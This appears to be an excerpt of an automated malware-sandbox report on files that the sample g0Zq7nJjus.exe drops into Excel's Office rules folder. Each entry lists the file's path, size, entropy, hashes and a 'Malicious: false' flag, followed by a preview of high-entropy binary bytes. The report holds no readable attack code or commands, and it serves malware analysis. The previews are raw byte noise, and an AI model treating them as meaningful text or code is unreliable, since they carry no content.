Preview:	<?xml{..]K..j.;.<..i.}...I..wR...7....6...>...O...F.^iI......^A.V.......g.~.Z.Vp..e.".~...e..v..l.S.X@&\..M....k....#H......f.} ..\.".....>....5..I..\O.O......B..x..wQ..:.....).N.Y.9..\8.wg[......a+....l.k.a........).#`."%/<T0.......S\|.........y.a.%.j..r7...kzT..S.lv..'..._j......Yw..&0.D....72.(.Kx......Y....tI..'.T...<.8...{...>..@A.o......H....)[...2&.NWkw.7.N..?..Ce.........`..++Z..$.%3.....y....<+...!..-..L.w<H...D.^722.xp..o..'......m..L([\|...@..p.w0...b....(..fj...J=.G2..VY\|..a.m.^.0....g.\|.3.........G...]CCW.Do.... .J.d.7...DAS...\..x./.A...u.0k.8...W.~iB@..U+.s.g.p.9..[..s..;.b.....t......(....u..o.H..B..z.).l..r.8P[.=......(...U.:...n.4wQ....".."..b).3,.I.Ts......O$.Y.v.Y`..YC....U.?+4...\|...N)...0Z...p._...Ru6......>..Q..1.s.R..r......p:.7..}..CBx..Go..\..A...5...j.6..K.-.\|v....)..... .....P.$T.c"...........sx^s.me....Y@...kF.XT!gI....._...\!.O.d.D9.gI.....o....p"q.X..\|.R...h...bq..^..$.z .;nx.5&u:&-.x./0b...Ud...D6......vL}....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68011v4.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2753
Entropy (8bit):	7.92508958113498
Encrypted:	false
SSDEEP:	48:wfpVwm/i9/dWW18wRT7VbZdz3Wh+yqw+RAi4XK9VgFxOqkxTaD:Gw2yWW/dvDLLAda9S3OO
MD5:	04FEDAA7FC789FC4FA785CCB9A5C824A
SHA1:	4BDDA5E90AC024F03840B01869F22A6235CAE6CA
SHA-256:	5E6534DED30CFD3F9C4950399011482CDD7B9662A2791646BDD61CD678B2E6EC
SHA-512:	0CC5E34A83AEE959DD038D17C04A5E24282AB107FA828018647072D756C4BA33567BD85BC1FD1B51C8E2063ED0CF16A75005C8CBA24BDC924D728D045D618424
Malicious:	false
Preview:	<?xml...S.....W..udR+$.......p_.bQ/6)NK......u5...6..i\|{.....X.../.i.:q...2.......rv.%....r.g....j.B.....V.Pq...P.O.YA..Os;9.An..}......i..H.$.`.L+.....N.J4........G#.......i.9r.!a.u.>.!.H.Q....a+A.ce...2.O.O.M.bl....:E.R.+.wr..EK.}..}......CR..E....@..[D.D?..\.nZ.;.U...k...Q..N.hYi...B..&...^<H..]..%5.e...8.A.V..=.[U'.ip.......$..V......QQO...].;.....d...q..M.w.'z......r7>......A..{..#..]%!"..YE+...%.@.$4............w.<...pZw...N.G\|...!.8..4.....J...[...X...K.p...a.}....v...5..pXeV...g.oY.k..Q.;.=..!.S...d..y..4....@.....p.......1%...^.b........Y./]..;...i....CB...c<..Wm..u.....]%......Ij..Q\.a"..wL.J..c.j.)...t..f.r..fX..Unt<Q`....T../...........Y.cQ4aZA....H.-G..H.w....ai.G..D.2..z./..6......._y.J.W.o......3....0..@h8J.bH.;...Y...j=...la1^O0...x25H.4.YhNX\|x....R5.y.:\L@k.Y.J.o.`...M.....i..1..X..K.;.2.Q..]....!...jZ.-..hjH<%....uI!Lp=.x.M>.POE}.....@....\|" N&...9.%S...N.b...w..s..>i.....]....}..2x"}..T....4...p..]......<99P.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68012v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	7.8777560031570575
Encrypted:	false
SSDEEP:	24:NeBrm6zILzHy5AuLbdXsKAeLTyuGOGLkOjJXLfsIdmdxIhkDXUHefOhD3nWiV2bD:MBrBQHjy0eLOuGOO1wx0kDkrJWzD
MD5:	97E3ACF11DBEF289EA599F5D8A90EC4C
SHA1:	2F6A46E9AAA4C3743B712BDA79F139FDCEB5067B
SHA-256:	84A202FADF8D52A84E3114A500C66362914E28689AF714610A9FA1B934A82ED3
SHA-512:	927B538B9294C1947E5EC3945397242DAC2E9BDF9CE90E46F6FB5A5BA0825BE51D43E46CD851A8D2E9211DF050FC7E12D69D29635BD27FEBD324F5F381BCC27B
Malicious:	false
Preview:	<?xml.r.!mX..I6X.Lya..()?.x..'....1......S.......$...........d,...>..]S@..Gh.>..z..j.w.)..E.9...n.i6.wS.....e.u.@.)....k.P.Z)u...i95......7~.n.............}..@~wu+d.df....t9.9....v.3G.m8S...x..!)..zoW{n.e.......&o..B...a.+.c8.....>.Ej$.......n..!#S.t....U..+...Ll.....G....-./s.8...B.....:.pV.&.z8..}tmR..........16.N.....+.in.'M.>.....x.t..F.>2....6....e...#..9.W.9..f..v.....T.1.{9n....U.S..=.O..AcA.....>....r.c.)....D.8....BTAb]...."..}f).........L1{..F.F...N.5......Y...X..sD..$u..d..p..I...C....i..)...e.@c.2.YD`......u....1u....6..V...?.5..H.t.y.z......l=.zO.W.?u..4......`.X....u..S.pW.h..=q.]MaQ5.0Ld..%.$..(+.c.iR.X..o3{...J.U.P...-..$.W%.b]~`d....h.B.'..0.bS.$\.......g23.~.$.Cx'U_.N.....4...)..?..o..j.W...?..I.1h.y.......h.A.@O..f..9.k..+..F...^D.G.-....H..<`m.gnp'.J....0.W.J. TD?.].5.e...B.K....E.D....E_....B......-.y..d?.....q.....`..P... ..}.[....".S$..$.......T0.:...J...'.'/X.(.L...I..u.O.S..3..aVC.DJ.A/.H_.T.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68013v9.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.920259707595935
Encrypted:	false
SSDEEP:	48:dugv25M44fzKIxx6tCBxoJpk5mnkZ/HixUeoD:dzYM44WGxpXepBnyH6Ue0
MD5:	6477784AFF842E67DC6AAA11C6AEFC65
SHA1:	0FC65D2BA718332DB3B7447E2F02C47AA9BD2A11
SHA-256:	2ECDE45E1B2729AC88713495A9CA260B31D6B4457C8B0D4F3185584B2454DEC4
SHA-512:	836EC7209584A6AE2F3CED4C462145112FDB7B7963077741F54A78E98A58502730F41014EC37070334FB60C26B1D31B640C018FEE224D35C45C4F1A6BAC18155
Malicious:	false
Preview:	<?xml......u../...2....5AK.\..O.).HJ.t.l+..~......P#6.E yv......>.:R.0..-.-..v.o......a....y..'k.W.. ..%....y[X....\..!.8...`...t...].:e3"2...lP...R....b<...Y.;.0.....d..K.uC']!O....A1....tUE.@.B"z..E.F..w..T...\|..T c."x.(U.m9]C.....3..j....XX.]..%!....2...2.n..O.<-....vh.i..`.L}h..T.[... .u..)..kv.x`f..tw..^~i....kI.G.0.V).UR`...;G$...&.....iJy..}.4....Rh.Q<...)X.....U...v.t..m~..p5.....(._a..3..=+.e..xSb.....GU.y+..X[.....V....A.F.....S(...wu..D\^..k[.#8.YH..6..Y..k..\|c/\........D!..<.<;...5.7.1..B..H<.G.`....~...<...y...g..Y......=..Gn..J...E.e.R..r......H...E6C.6<.jD..R].OVG.u9...7..?...P.{..E..."....+.(.T8p\|....e...#?X .YOw....Fc.W.O\|a.T...2...[..q-.!...\.,.MW..qR..$..y.......<.......zrr4..!.Mt..0>..#{..FN...W.3...e}.m.....G./R..+.+5..t.O~.P-..r.op....z_...~<...H....\.?K.\Uy.T#`..!..^...m.}Og.9..'.F%8\|c._L.....OI4_..C....A.k.=.... .tt1s.2..N....Nk..[..0......*[.].@OlD.$.\....I..._K..:...<..y...k........E...z.6].9 o..L..3.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68014v8.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1826
Entropy (8bit):	7.875908211245031
Encrypted:	false
SSDEEP:	48:2rTxleSDhO/NTuOl0DzthjuZo6fxIYYISeXUPyN7FzLUrD:Ex7DJ3zt6oOxrYItXIy7LUH
MD5:	F29121201A6C7ACE1CBEF9E57DF25FB0
SHA1:	CEADEC3830D38992A84F6CFCB9BD6DEDD36BDDFC
SHA-256:	9482B83A2B3EFABC2E649EDB952D1DCB4849163D8BB048320BA59FABD91BCB8C
SHA-512:	D6BBB225BB1A587E80F9E15117FD803150AA95D924250EAF19F667A655A399EDC7444F0B303C499EC434A1DE9D860B7FBC3032951318D4E02A3368AEC9265157
Malicious:	false
Preview:	<?xml....1..}v.M.'.....zF...._.t^).~...T.e...w..a.q.S...`cL...$.z.>f.M.`..H.V.M..8<}.8..../..J..e.........Zm...h......3.O;/k..mW...Zp6Ip..1a..h..:.....9..........N....YB..}...w..S7R.<L.h.rC.._..u.q..!w.8.+%@=zZ:..8....#\|..."...Mn.ETI1...)......+..h@..K{..1...L..7.3...R.\qCY#....l.g...hr..Dz~`.k,T....M`O...(...s5 .....R......<.Mq..'......aU.#..=3;.]V].Pe.V.&....?v%.l.}.....Rp.........m....0z..H.).=..........>.f...+VR..q...N.........%..c .i"h....V3<......~6.,..^#...L.....(Y.U.u.o?......$hux.A.R=.M..%M..f..49I~..I....._..x.`.V.HU..L.i...>..H.e\|.Q.tb..!P.......6V....8.y.....y#.\.Z. ~r...d>.$..3.K8..eTX....km.....s....)U8.T.h...(....@......#:}...M....Y.=....b.......M.....aV0.+..G..E...j........w..<....n....:....Le.aOt.g..f.M..k...~.d.<..........a.^.3.6. c.Lg.beN.....0[.f..6..'.U....jmucU/.;..K....P.....i...v..3.._h....e.F7..FM ..sq.jLs.....W.(!.'zS......K.?@.=.......Bu...]-....)..}..,...W...P#...~..i/wU#.>.J'.<..?Z...C...c.....*..O..T...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68015v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.834777240135304
Encrypted:	false
SSDEEP:	24:xt9OxVPmo9VfIsW7fCSj9K0y3KrcBiZz1d6buwM6hZYaU+IT2bD:xjOH/Wj95rcIrF6caUhAD
MD5:	852B2C88E3893805541F83D6AAA2AAD8
SHA1:	8BB17A490F683C3A64BED793A3E9522F56745EC0
SHA-256:	CFC032AE619C133287DA897FB2C05245B05C008371F250182C9A94C5CC41B629
SHA-512:	60AE11105A289AF32E74DF0B43C5EA0E95CF3409CD13FE88760B2F587B1FC09F94CEE8700E395F60F15BCA6DAF9C5ACD8BDD4D38DA5F698728156BDD98183C3D
Malicious:	false
Preview:	<?xmlIA1[.Y.......1......3 0<%.y.'...\|.[..ur..!/T<....3....J.~f...Q.....6...M."...H..Z3/.$..1J...LC... "&iVD.....d.4..~.ZT<.;.)....4.C.%.X...z`\|^....[..c.<.e3.K..K"....DV....l....xX{...L..{./.%.Q....<.s2..v.}.3l......a...a..w.T"..x..Y7...N.%..V.y&q)."...~..q.....Q......y..A.M..$j....\.a..B..m......(0.{..5.d..!!..`.}...0F.>")..,_.m.?Eke.l.R.....l.).Ry#...4.G.>...^Jk7.-...4\|-CGL..{...W.qj.[X"...j...F0....n........I\|...i...D...Z.x.I.D...c...`To.^.........../N?......4.&.{:....Y.l.'.`w.si2....4.t.t.(....v.,eK.......co..^....sMj..}.T..U..(..{E.@._.r)....X>Q=/~.rl.r.$V..h 4#..l.D........)..&t;.7.;f...t..!..QN.Z.j.?iB.uh.d.2..............)2...B...<.V.q..\|?...\.TL..@.I....D"6.c.:@.;D..z_....\|....K:..9.g..`2zU...0.7.....,..4.....F}...B&P.d.<.0..........0?.....d..:..M....5..}\|...../.,....$.Hb`...."[.......v.f.A.b..}..>N....f.k.R..B.x..p...):.n..=....../...W......P......C...Tr...L8Q....y\.]P.(].[\|q..>.`R..O.5y..&..Xi.D;.Q... "..e.....\|.mB..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68016v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.794570404830402
Encrypted:	false
SSDEEP:	24:X0NmcizLcMXKDGv0Ojqw8CBmi+4MIri/yIkHnU12bD:X0NGPjMGv0B5i3MOD
MD5:	3D8D794F4527C806B5EA352FA297FA07
SHA1:	4C747BC00A2EE1348828492FB9707C8A972EE1DA
SHA-256:	837A914E91F02B586902D44B5799E0ADA0E78FBE6ADA7D290A3FEA54EE93FD37
SHA-512:	DD017AF5822CCC6667072948753C2E47541B554C8DF700525FFE6F6984B4525641236C4EE59E0569FBC5260C2CC5D5FBB260DE1FC0104E2F067A631CD7D7DF18
Malicious:	false
Preview:	<?xml........-.....0r..O......c.........w......7..i...Q! I~.~.....dB\|......l....H1.W.8r..uJ.&!..6.LIq.X..M.X.`d.w....h...C....$.# ..S.\..".S(h..~.A.0.....y....Yu.n...2sW....\|...a..:_b4....4..b....c&..o.....mB....._ay.>..F.HeK...>.Sz-..LOO..<.w..EF 6.]....L..LZgx..~..j..d....#......+D.j..S.....b....v....u'w...].g{p...2..\.....B....4.^P..V%XZ9.."!.@..Qj..q5.........}n@.m.8..u{..k..,YsW.]K..[KG...T.74Vx.......6f7I%..h..:x...&..J.....k.".....q!;....I..W.T..`O.".u.%.0.l/.....j.....J...v.is.\|.....\.n3.........).w.\|G.....R.dnx.Q\|]fK.i..q..)....Ao.%.....+.....b.mw........u.-....\Igw.rI.).Bw(-...;...>...g...+..9.B..~\|#...$X.R3..5....6e.oVO...B(.HN.?.7I..e.h0...t!.#.$.\|Ykp....>.}...)v.h....m3..+.4..eR..1...q#....{D^,..J#kV..B.7.t....bF;..T...V..\....y../..NB..;..u...&..^.....M.....C...q.....%......asz..p.A......._5U.n..]C..].f.\|....3..:..=..7.... ..a...c.P.C.Ea.....u.......tQdmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68017v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	7.832868334704887
Encrypted:	false
SSDEEP:	24:6LVYQQTs4/yHDRCgNx0iAsR/kHEJ8CKjWVR9HuAFCRNXoMqLt2bD:6pnQTs4o4UxACBKjWVRFIomD
MD5:	B5AB05D21FAF409448A8C13F0DBDF644
SHA1:	EE775EE8A672A69F9F96653D59C36B22DDB4A076
SHA-256:	8A318095957BA217FD42C88CAD7B4C1EF9BDE091A8A6478748C183A5B35F40DC
SHA-512:	961621F37B6B4F19854EB63C9768ABA58DB8DB355D292E4B6F2C914FDE0DBFE0DBA09CC83A650C93386C45C92218D62B6365517E76C6DB9CB0421C9696760F8D
Malicious:	false
Preview:	<?xml..]h.!.9.cY..o..1sz\|.wF...p.07..3C{!L...c..(...xB( .W..N_..c._F.:......#T....AX7%.7.oPt ....9......./..!...J.CQU...cu_-..$;..E....K.....)D........$...v...)o..s.Z.?..........?`j...]...........^...e(......."..~Y.W%K6..4x."'.^Q.......`.Am.=...G.......f.~.^..q.:..L...:{.M....C.`I.+m.b.V.J.3.yu....~......@Gh...ez...R%>...8.Wo'....<h.l7.V.r..),%.P..B.Lt.8.g....q...z..`\|k.....0...hM......E...."}....,.3g.:.@.....1"n!.m....h.v._.2T....~._.#."p.+.9>t.Nm.x...C...#..a.....B.Q...L./.f..$...).^.....l~....R..K./...U[^L.^-.\.B...............%..!...v?..+.f!Vjp..^.z.J..6Uq.K....W.....'.Q).j6....)u..w$.E~USW..8....U..6=.>.p.>..)s.../.I...Tg'....4..{...F..1.\|...x..z7......ZeB<X..3.G.\......p..9..`.d..M..M..}.F.g.....Z>.....&'.0.E.?..U[.jL'D..Ke.Zi.".......@M..F.C...1..^..p9FQx.4.h....b@y...w.r.w..Z..[.g.s.,...}@JU...\m...9B..8=^..Eq3`........G....M....l.w...e.5.-.G.~.K7..NU..........C.:...n....0..3',.xA....UQ....(...m......j<..X.-..F/..`..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68018v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.829343012856718
Encrypted:	false
SSDEEP:	24:QMtaAqxrggyU1u1shdOIOPo6IKMkADYItPwojZIxlT23bNfS2/vdD42bD:QZAO0gP9QV/lINwojZUcbNfS2/lrD
MD5:	BECE5B18EE483F30D23F02B4650B057F
SHA1:	47755B0A189ECC7519467DCB4983559D6E28BC2B
SHA-256:	DAFF6958E77614B5A3727877ADCCD9F6A8CC5D26FB9D890964306531FB4C3C55
SHA-512:	BB8DD956354279764A85DA9EA0DF88FE6D992E41D40E5575C7C53259CCAE05621EA633EB3DF793C9642ACFC51B78EE7986EF94EDC707A8C665EACFC0B2B9CA61
Malicious:	false
Preview:	<?xml-...r....v.x..t3.l.Z.../..m...#..A.j..RV.=./..6.O..E?...}.!p.o.m..K..(.Q....4.7.%.....&.......D!8.v..Aj^5MA8?..W<.....PF.....]..#.......X..7m..^.=xj.5.pR..n7q.D..."...S............R^.I...)0...\.k/_..Y.pV.V..-..Xp0.......en.=.Y..9..aQ.....(..'..U.~..V..B.#...v3....@y.+.!..O.UE.2.0......B..a...9..DWf.....z}.......) ...^.E\P.......\..\._..d.ul2X.\.W.Y!...JU.*.h..Oa.e.t.....>8...&.YB.)R.O.2W(..2...G^k......lW...90<..CI%.Y[..$..ap.1i....}..P..W...s.V...f..K.....l..n.2.K.@.b........k.........:5..N..&5>y..vg.:..P.........C...~.......Q.g[..zsy/m.....\|@Ns. ..g.W....Q..8ugi.e.t..9.=X.l..,..I.r........0.#a......p.(!J.u..m.N.MHD;.i$..R.........G......!..1.}.P.HMb...4.{.;t..............(.4j&.Zp>X.R.HIt.F.W.W.?S..N.....[k...~..a............tY..<...F........HS.n....-.).h........i........~..{.~.r3..o.5....2.\|....#&B.Z..G.........<..........Q.F.EW.~....Z.x0w..p.0m....f`\|..(N.'.gR)..#P..%..Fc.....8.l..3o....83..3.M......o.'...J.....F........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68019v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.875169262918001
Encrypted:	false
SSDEEP:	48:Ie8sXwY77czhsGoTFRFAUCUS9zX23vFFInit2uD:WsgYcz6t3ioFiiYW
MD5:	F13CEFB6733DAD4693168F1BA2426CE7
SHA1:	C84118E410D4B492031E7CA3150DD8D6C1BF5F4C
SHA-256:	B6DCAE4BECECDA42628ECB9088AC00367D8A3FB70263DC42B54841DD33AD7427
SHA-512:	3090424446EA1528D8C9D4E0BCE11A620986AB7D0BF3D4513A01047F6908DC6546D70A7AA7B599A91730D33FE9046E5A21CC25130D0E355E941720D6396C2938
Malicious:	false
Preview:	<?xml...m.............c..K......'.g5\.k..?q.o/.g.C`...x..C.F....B.o.Ig.4.@.mV.&iOE.U...v.PU..Q.f^.F.+.98.n}...E....0.!._..x..5...!jK..).8@.g...CVU..+;.S.....S...jk.m.lY..O.u.?Ee....N.dhY'o_....h...u..S..P..0..].....U....eI..K.t.&.-...<Z..j.Z.1..T.q.........N..{`..K.C..\.QE/b....C...:.I.,..9,.R..B7...%.j......fi..R../.-{..D.\,BK-.jl...Py.."...6....OlW......w....5Z...m........."B.3..\|.l,.n..3..~w.D..p.......L!r.c..:h2b..F....c=..p2.i..M.98....?....S..Z+w?c.<..\|.9....h.Kd.#.68...>j...4...U..E1$.....1'd.}Bz..Y.<pI..{u........-!..%...`....$.c..&..o.VR.e^.4..c.N....n..}...,.A.....v'k'.o.6......a..6. .-.._.W....n./..p/....1>.Zz2.V8...?F.d..M>...$._j"....>9l..S..}.?...e..>..s..q...Y...s....t.$.OT......hIm\|.=.....{#...Y.L.k...0...RUP..(.P..7...\Q.......#.......1.-.hmty..\.-.~}q.SFh:..I.\|n9w..S.n...]yGrj...@......k......m.%..e...(..v....w..<].>.1N0.^.1 .....8...V.2..hR...[..W.Y...-u.m.\|g?.:R.GT..)>.X@.....:.iD.k..b....%.X.X ...nl}..K.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68020v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.851820289694371
Encrypted:	false
SSDEEP:	24:BDrXpfBx8kpGJlY4vPHUbmXfhZkmOrXIv+LSMiuU1zvj+rfP6+GHTlb2bD:BHXprpGJ1XHJPNOL80Sp1zyzP6JHTWD
MD5:	F8821B0B7D5B524F8E7918487FEF5DF2
SHA1:	E15E852B8A37DCA09DF801F9C009D1B13AC813DA
SHA-256:	BCAA58836B33BA73D0097998350024E8B72AD9CF7F8A5F13AF275FC8EF207A96
SHA-512:	6F53365904E34AC13F900FD91C981C3675CB6912A208F4AC508C97275D046C81E87960A5383AE70A87433289F5B50B2CA51DF72A9B077EFB55515F8D0CC53AA1
Malicious:	false
Preview:	<?xml7]......m.... .....)M@l.....'.{.nx....O.....xM~l[.....f.hm.:..;....\|. .iG!..8... ..j.8...NA..D.R..M.6...0...M...].Tg@m&. ..70.G.c.Z..7[;d....4Z...4.,a.........u'....m.........p.q..~.........(<.....z.H...(.......:%.2..../.....<...4....9...~..>..G.Q.Hu...wV.]e@.......7.r;...6\|.`:..^h.....@C..y.........+u...i.3.;.Y3...\|.V@Ja.r.F.{...x..._H._V..p.M=17.....`.C2.[NP.Qh...)g_.6.T..^n W.......W_...../bK.J9.w...\|>..Z@..Pu..n.g..Y>^..K}.B..S[....}........&.\..y.7..k....8.A._...l.....K...t.....^/..`k..[XWf...C...N...n.8n.~#.v-V..2.....].c?.u[...v....Qp..."m....q\0.A..Q5.?(PA..SS.....tC.tU..;....Z..."T..<.......kfFo.5..6....'..T..@.q!..D........,.Q.)Q.z@.qk...F.T$j...j9.....c.d.]..ZE.n.M.8O..?...d$....V...{G\|0....;..9...h.A.0j.=..a....^I.U...O$[.I>.A.=&..$...2.l._....;....7}../..m..;..e8....fC1..=./.un.I3...'^..Cj..fw..A....m.{}}K9.H.*..%'...S.Z/.$.nx.3{.J..=...?.%X.2.u.\|..\|...).1.t....3.e.?.~.J.M..M....0/...V^c..........CV...a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68022v8.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	7.8931956343238605
Encrypted:	false
SSDEEP:	48:r0yfVo69UuxV6qiJm9ljRO0KaONpowJ0aXjlArD:bo6uuxRtl1O0KaOHok5E
MD5:	0C3B9CCD0281427E53A53C35F9BC064F
SHA1:	74E54148F25C69576595BABCE8394C2E0170E3BF
SHA-256:	AAF3371749AEF828A14FF1414CEA0DCC014F3CDDC614D042E41ADDF5A66FB47F
SHA-512:	AE01818F1D8EE5535F52EEA552A56F5F2C539C04A587B19D78E387178372A13DD775D58B13FDE84CD45045F42BE3B1E165D95431A0DFA7E945A208EA611C9AA5
Malicious:	false
Preview:	<?xml. ...q.....r.....{..z.0.aXQ.X...K..`.9..~...MTA0..V....T.e}.E.}......_\|....z..Q.:.l...RN.;....k-x~k;.Y1..wZ._.......B....o..W..X6p....$%X.(.....c.Cz.$.F/..UNu......k....vAJ....}.{'.#.J1h~Yu..9...:..i^f].e..n......p....n.....Y.(4.......A...y..x-..0....N.v.S(.W.6..B<Y:xpc.....P.%n..Q...N/..hHX.1oJRa.0.............~.5y.d..?...:a..j..Cb_#y.z.ov....`%...<.....;..2..4.$).i].."....p*.KR...Q.....j.... .i..9....3..2.Nd.:.T...U....O...S...6p.&.Y.P^.`Cj-...z..].W`....Y..cUT@....=....yl.P].G,0...j2..Ll.R..X^..?.]@..!IfP.(.U.9..j...f...7..y\....Z.[F...q.%..i.J..>d...O.....\|.w....Z.DJ.....,d.~..&.BD....)K.....o..I..DYq..w2}...i....i=`.kNA.U.F&.8.....F.G`Q~..6=...5E..z.\.....hc...'....'fR....0D..)25.. .&.4..gOF....s.66...d>...X..........Y..Y__^(......nJ..]....%....d...d.....6d.C....x..&G@..N.f.....X.v(N.ZG..!U..U...9..B....PV.R.9.d..3Fu.X~...61..Ls"dp.&={^.;SN....k..U1a2.Vj5_............/."-.T.....u...d.Z.`...@.M pQ...d.}._.;+.$y..nD..T.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68023v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	7.862988201338058
Encrypted:	false
SSDEEP:	24:uOMWll/I2d9sXvFji30HIashibAH8jM8f0WXTh6ri3S5hlv2dB2bD:LlBI2WNShibFWiV0iiVsaD
MD5:	A3B062972FC5CA75FCE39BAF7ACB6B6C
SHA1:	F390E4619F8438631CE300C6B19B0B71674F72A6
SHA-256:	A19F2887C118B784529EBED5070E0705FD0F502349A2F8E669AC3978CFCA105A
SHA-512:	FFEE75B7E572F27C545F49D3D3FE1D065ADE561B14B70F462A1285B367C6633C4E6653B16BF6AFD3FE73566FE801A934BCD8A78E50FAA7CC6607BD5221C66406
Malicious:	false
Preview:	<?xml........HlAN.1P.'.3.`..X.X.I`.....))..!.CX[.......8.^...A........q....Y....(..9.~WL.N?.F8....=..b!f%.I/....w.c>.~.\|5.)z..U5.T"=:.]..~4...^..w.dZz..,.#....X..7...$......F...).F./....+...,.[z./..(8gm...).\|..............._.......Ia...c..YV.v.y.v.......?O!V.......N.C.....X......+..3.Z.K.Y...n..@.W.$..>c.I..J?.....i.fSHe..?..$%}J.....g,f...\..-.JJ.]......<.o...o.}I...;..yf4.h...2........S....f.f.2.)y...B.SA.p.w.b..a..A..~,..A......F~.lP......K.J...9`...;0.K.K....h....?.'.P...=.(....a..=.;...........1f.F...Q.\..S,3.dhy+._..!D...\+Z-LRI..B.kU.}...Ie;4T..fA...-&...bu.........c.S.M.......!...c]>D....C.....?........r5.de..p...o..!..h7a.2P.'...v..X..&m....z!J...X..FQJ>0...m......A~...}..DXW.{.Q..V..p....ic4JiJ.YW.de..S.^.Xy.nK.{.....9.~.......<..vJ.FI6....q..^...f[}.p.E..r~.!.Y....~.f.m..K&.`U5.44d...$.r.Q.Zs.o.\|L{[..M.@.K..wX. (KK...?r....T.z..[2..H.0...._.V.../...7.6.D.C.KsT.s...=.YhSZHH.h.f...J.+=Z!]5..s....}.w......}.L......f...*2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68024v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2007
Entropy (8bit):	7.890634352690653
Encrypted:	false
SSDEEP:	48:gGSbvMpRIs5faR2l8ujUNEfNSrgLfKPJTUNa2kR4QUj/jZcmOJi6S4aAD:P3RTy2lPUaNSMKdUwYzOP
MD5:	482E3E1772B8CCD177F79F01720DBB71
SHA1:	57F9393AB3E0BD66BE97F568BF616EF4E0742EC1
SHA-256:	BE6F0C4E7742211C9861408EE1AC0459D9762AF5D6088E52F1D2DA7DCB1239B6
SHA-512:	5945912FC32C40482B8A4DCAFEB461E5595AFB6B144330E5AF65803753364551A9D1F3B2F3C65F1613B8CC8A48322D981D80EEF0E237558B46F5A85A6A938B46
Malicious:	false
Preview:	<?xml6$..`oP.&.#h.}...-.vO..;".&(.).M....S.I:..z........-D..@.HE..{..(.."L...i.......@T...SA..moKv(m6>..[.k;.U...;...VJ......%..)6^0.^+A.....c...^.r.... Z.Q....%.c.u.?..gQ....-(,.......l........&...qB.....(\|.......&.g.....!..oB.(f..O..-.....q...60.(1.....y.UIO.E...8Y{.....LT.5.. .X...v\|\|.".....i..5.. x.\|}..@b6.%....w..?.c..m6...,...C...qL..L..\k...j......#..=...n8:...:.J.{M..jk....=...x....\..C.{.d..H..%.....%.j..5/.Bt..2ZE...`.....i...N.I..5......d...9......K...L....1&.UO..T..\g..d...Zb".5..._.j.A.K....OZ7....\..t..=.W+.0.9,...S.....+...+.........9.%...R...%"..9?.Xfd&....?..g..e2...$.....eN........}$..>......z...l..F..3p .l;............&.....).K...;..2.Z.gPfxr./....W..&..u1'..O?_(-.....[.. ..l...%V..B.. .i.;._.<3..x.;hs.>......el^.......<..h%~14.8....E.2+.y7..x_......,.\...j[.5.c'?.i.T..h..!@.....b...Z.....{.........d..CE../........_...cZLL.1..yx...^.q6..^..g..e...>.......(...=..........S.;.v.......x...D.S.U......<.>.%.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68025v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	7.8360239070788325
Encrypted:	false
SSDEEP:	24:o4U2cL0WNcvDJM0MACkEpxYzSQdWoLjiWcMbQbNZZqDoYDx50HDhcAy2bD:Z4LNWbJxtCk84SxoGMKrqPn0dceD
MD5:	3C008A16DD3A3609DED656A13CEB2AB8
SHA1:	FB4578EE94EAD96F1D2C8C32800928358CF7E163
SHA-256:	C7B8A5FE501663C622F14FA84A9D6CB27D6EA043D2C267F5A3C32CE282019820
SHA-512:	7EDC76A000F61D9F9B7BC56DBD476B73C965879B0A16136B8CC8F4D090E3CC972789DCD5D528E206F90154C8D79E6AE0B37CFA82F55C1D1F559C880E9CD6A6A1
Malicious:	false
